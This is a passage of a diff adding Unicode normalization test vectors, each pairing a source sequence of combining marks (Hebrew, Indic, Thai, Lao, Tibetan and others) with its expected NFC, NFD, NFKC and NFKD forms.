+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0953, 0x0062], NFC: [0x00E0, 0x05AE, 0x0953, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0953, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0953, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0953, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0953, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0954, 0x0062], NFC: [0x00E0, 0x05AE, 0x0954, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0954, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0954, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0954, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0954, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x09BC, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x09BC, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x09BC, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x09BC, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x09BC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x09BC, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x09BC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x09BC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x09BC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x09BC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x09CD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x09CD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x0A3C, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x0A3C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x0A3C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x0A3C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x0A3C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0A3C, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0A3C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x0A3C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x0A3C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x0A3C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0A4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0A4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x0ABC, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x0ABC, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x0ABC, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x0ABC, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x0ABC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0ABC, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0ABC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x0ABC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x0ABC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x0ABC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0ACD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0ACD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x0B3C, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x0B3C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x0B3C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x0B3C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x0B3C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0B3C, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0B3C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x0B3C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x0B3C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x0B3C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0B4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0B4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0BCD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0BCD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0C4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0C4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0C56, 0x0C55, 0x0711, 0x0C55, 0x0062], NFC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062] },
+{ source: [0x0061, 0x0C55, 0x0C56, 0x0C55, 0x0711, 0x0062], NFC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062] },
+{ source: [0x0061, 0x0E38, 0x0C56, 0x0C55, 0x0C56, 0x0062], NFC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062] },
+{ source: [0x0061, 0x0C56, 0x0E38, 0x0C56, 0x0C55, 0x0062], NFC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x0CBC, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x0CBC, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x0CBC, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x0CBC, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x0CBC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0CBC, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0CBC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x0CBC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x0CBC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x0CBC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0CCD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0CCD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0D4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0D4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0DCA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0DCA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0E38, 0x0C56, 0x0E38, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E38, 0x0E48, 0x0E38, 0x0C56, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0E38, 0x0C56, 0x0E39, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E39, 0x0E48, 0x0E38, 0x0C56, 0x0062], NFC: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0E3A, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0E3A, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E48, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E49, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E49, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E4A, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E4A, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E4B, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E4B, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0EB8, 0x0E48, 0x0EB8, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0EC8, 0x0EB8, 0x0E48, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0EB8, 0x0E48, 0x0EB9, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EB9, 0x0EC8, 0x0EB8, 0x0E48, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0EC8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0EC9, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0EC9, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0ECA, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0ECA, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0ECB, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0ECB, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F18, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F18, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F19, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F19, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F35, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062] },
